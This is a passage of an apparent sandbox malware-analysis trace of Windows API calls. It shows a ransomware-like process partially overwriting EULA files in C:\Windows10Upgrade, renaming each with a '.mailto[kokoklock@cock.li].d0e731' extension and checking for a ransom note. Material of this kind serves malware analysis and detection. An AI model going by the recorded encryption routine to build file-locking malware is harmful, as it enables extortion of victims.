(lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm")) returned 0x20 [0080.587] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm", dwFileAttributes=0x20) returned 1 [0080.587] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0080.587] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x24d3fe10 | out: lpFileSize=0x24d3fe10*=66159) returned 1 [0080.587] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1026b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.587] ReadFile (in: hFile=0x528, lpBuffer=0x24d3fde4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24d3fde0, lpOverlapped=0x0 | out: lpBuffer=0x24d3fde4*, lpNumberOfBytesRead=0x24d3fde0*=0x4, lpOverlapped=0x0) returned 1 [0080.591] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0080.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a38 [0080.592] NtQuerySystemTime (in: CurrentTime=0x24d3fdbc | out: CurrentTime=0x24d3fdbc*=132121176384903502) returned 0x0 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x6517c73f [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x1db5b195 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x41f5b92d [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0xec24eb8d [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x342bd978 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x49a0b463 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x9330e0db [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x13f01e4c [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x5583ea83 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x50f58a82 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x8ca859d4 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0xf1e1789a [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0xaa06d1cd [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x6de91014 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x5aa8dbe6 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x93ac8ea4 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0xd40122c9 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x72774a01 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x229a8d64 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x785033c3 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x2ee8e8d3 [0080.592] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x9a3f520d [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0xad295af8 [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x9eefdcfe [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x9690c49b [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x417f0f38 [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0xb876b59b [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x4364b5e3 [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x483b8e18 [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x9bd1da65 [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0xb71696eb [0080.593] RtlRandom (in: Seed=0x24d3fdc8 | out: Seed=0x24d3fdc8) returned 0x81ee8ddb [0080.603] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.603] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.603] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.603] ReadFile (in: hFile=0x528, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24d3fd94, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x24d3fd94*=0x4096, lpOverlapped=0x0) returned 1 [0080.699] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55e02d0 [0080.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342deb0 [0080.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.700] WriteFile (in: hFile=0x528, lpBuffer=0x55e02d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24d3fd94, lpOverlapped=0x0 | out: lpBuffer=0x55e02d0*, lpNumberOfBytesWritten=0x24d3fd94*=0x4096, lpOverlapped=0x0) returned 1 [0080.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e02d0) returned 1 [0080.700] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1026f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.701] WriteFile (in: hFile=0x528, lpBuffer=0x342deb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24d3fdcc, lpOverlapped=0x0 | out: lpBuffer=0x342deb0*, lpNumberOfBytesWritten=0x24d3fdcc*=0x20, lpOverlapped=0x0) returned 1 [0080.701] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342deb0) returned 1 [0080.701] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.701] WriteFile (in: hFile=0x528, lpBuffer=0x3491858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24d3fde0, lpOverlapped=0x0 | out: lpBuffer=0x3491858*, lpNumberOfBytesWritten=0x24d3fde0*=0x8, lpOverlapped=0x0) returned 1 [0080.701] WriteFile (in: hFile=0x528, lpBuffer=0x24d3fdf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24d3fde0, lpOverlapped=0x0 | out: lpBuffer=0x24d3fdf8*, lpNumberOfBytesWritten=0x24d3fde0*=0x4, lpOverlapped=0x0) returned 1 [0080.701] WriteFile (in: hFile=0x528, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24d3fde0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24d3fde0*=0x4, lpOverlapped=0x0) returned 1 [0080.701] WriteFile (in: hFile=0x528, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24d3fde0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24d3fde0*=0x6c, lpOverlapped=0x0) returned 1 [0080.701] WriteFile (in: hFile=0x528, lpBuffer=0x3491808*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24d3fde0, lpOverlapped=0x0 | out: lpBuffer=0x3491808*, lpNumberOfBytesWritten=0x24d3fde0*=0x20, lpOverlapped=0x0) returned 1 [0080.701] WriteFile (in: hFile=0x528, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24d3fde0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24d3fde0*=0x4, lpOverlapped=0x0) returned 1 [0080.701] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0080.701] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a88) returned 1 [0080.701] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491858) returned 1 [0080.701] CloseHandle (hObject=0x528) returned 1 [0080.701] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.701] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" [0080.702] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731" [0080.702] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.702] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.703] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm", dwFileAttributes=0x20) returned 0 [0080.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.703] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.703] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.703] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.703] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.703] RtlExitUserThread (Status=0x1) Thread: id = 1025 os_tid = 0x1708 [0080.588] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm")) returned 0x20 [0080.589] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm", dwFileAttributes=0x20) returned 1 [0080.590] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x638 [0080.590] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x24dbfdc0 | out: lpFileSize=0x24dbfdc0*=75552) returned 1 [0080.590] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x1271c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.590] ReadFile (in: hFile=0x638, lpBuffer=0x24dbfd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24dbfd90, lpOverlapped=0x0 | out: lpBuffer=0x24dbfd94*, lpNumberOfBytesRead=0x24dbfd90*=0x4, lpOverlapped=0x0) returned 1 [0080.685] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dcf8 [0080.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd20 [0080.686] NtQuerySystemTime (in: CurrentTime=0x24dbfd6c | out: CurrentTime=0x24dbfd6c*=132121176385841050) returned 0x0 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xd158057d [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x985b9eab [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x84303acd [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x47c7e3c8 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xe39da2e4 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xd419116e [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xd3498571 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xbc9ec860 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xa07b86d3 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x36cbe93f [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x4c320be7 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xd5c56b1a [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x1473b2ff [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x13c6feb1 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xeda9d616 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x107edf5b [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x699c5c18 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x7c47218a [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x84dced31 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x30e11b33 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x1dca4028 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x51da67da [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x765ae5c2 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x325f96eb [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xbda80319 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xe1191128 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x4bf7eac6 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x5bd220b7 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xddf99497 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x8b136f88 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0xaded5253 [0080.686] RtlRandom (in: Seed=0x24dbfd78 | out: Seed=0x24dbfd78) returned 0x8770a58b [0080.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342df00) returned 1 [0080.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.697] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.697] ReadFile (in: hFile=0x638, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x24dbfd44, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x24dbfd44*=0x4096, lpOverlapped=0x0) returned 1 [0080.734] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ded8 [0080.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dd48 [0080.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd48) returned 1 [0080.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.735] WriteFile (in: hFile=0x638, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x24dbfd44, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x24dbfd44*=0x4096, lpOverlapped=0x0) returned 1 [0080.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.735] SetFilePointerEx (in: hFile=0x638, liDistanceToMove=0x12720, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.735] WriteFile (in: hFile=0x638, lpBuffer=0x342ded8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24dbfd7c, lpOverlapped=0x0 | out: lpBuffer=0x342ded8*, lpNumberOfBytesWritten=0x24dbfd7c*=0x20, lpOverlapped=0x0) returned 1 [0080.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ded8) returned 1 [0080.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.735] WriteFile (in: hFile=0x638, lpBuffer=0x342dc08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dbfd90, lpOverlapped=0x0 | out: lpBuffer=0x342dc08*, lpNumberOfBytesWritten=0x24dbfd90*=0x8, lpOverlapped=0x0) returned 1 [0080.735] WriteFile (in: hFile=0x638, lpBuffer=0x24dbfda8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24dbfd90, lpOverlapped=0x0 | out: lpBuffer=0x24dbfda8*, lpNumberOfBytesWritten=0x24dbfd90*=0x4, lpOverlapped=0x0) returned 1 [0080.735] WriteFile (in: hFile=0x638, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24dbfd90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x24dbfd90*=0x4, lpOverlapped=0x0) returned 1 [0080.736] WriteFile (in: hFile=0x638, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x24dbfd90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x24dbfd90*=0x6c, lpOverlapped=0x0) returned 1 [0080.736] WriteFile (in: hFile=0x638, lpBuffer=0x342dcf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x24dbfd90, lpOverlapped=0x0 | out: lpBuffer=0x342dcf8*, lpNumberOfBytesWritten=0x24dbfd90*=0x20, lpOverlapped=0x0) returned 1 [0080.736] WriteFile (in: hFile=0x638, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x24dbfd90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x24dbfd90*=0x4, lpOverlapped=0x0) returned 1 [0080.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dcf8) returned 1 [0080.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de88) returned 1 [0080.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc08) returned 1 [0080.736] CloseHandle (hObject=0x638) returned 1 [0080.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x34308c0 [0080.736] wcscpy (in: _Dest=0x34308c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" [0080.736] wcscat (in: _Dest=0x34308c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731" [0080.736] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.737] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34308c0) returned 1 [0080.737] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm", dwFileAttributes=0x20) returned 0 [0080.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.737] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.737] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.737] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd170) returned 1 [0080.737] RtlExitUserThread (Status=0x1) Thread: id = 1026 os_tid = 0x170c [0080.747] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm")) returned 0x20 [0080.748] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm", dwFileAttributes=0x20) returned 1 [0080.748] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0080.748] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x24e3fd94 | out: lpFileSize=0x24e3fd94*=70391) returned 1 [0080.748] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x112f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.748] ReadFile (in: hFile=0x52c, lpBuffer=0x24e3fd68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24e3fd64, lpOverlapped=0x0 | out: lpBuffer=0x24e3fd68*, lpNumberOfBytesRead=0x24e3fd64*=0x4, lpOverlapped=0x0) returned 1 [0080.750] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342df00 [0080.750] RtlAllocateHeap 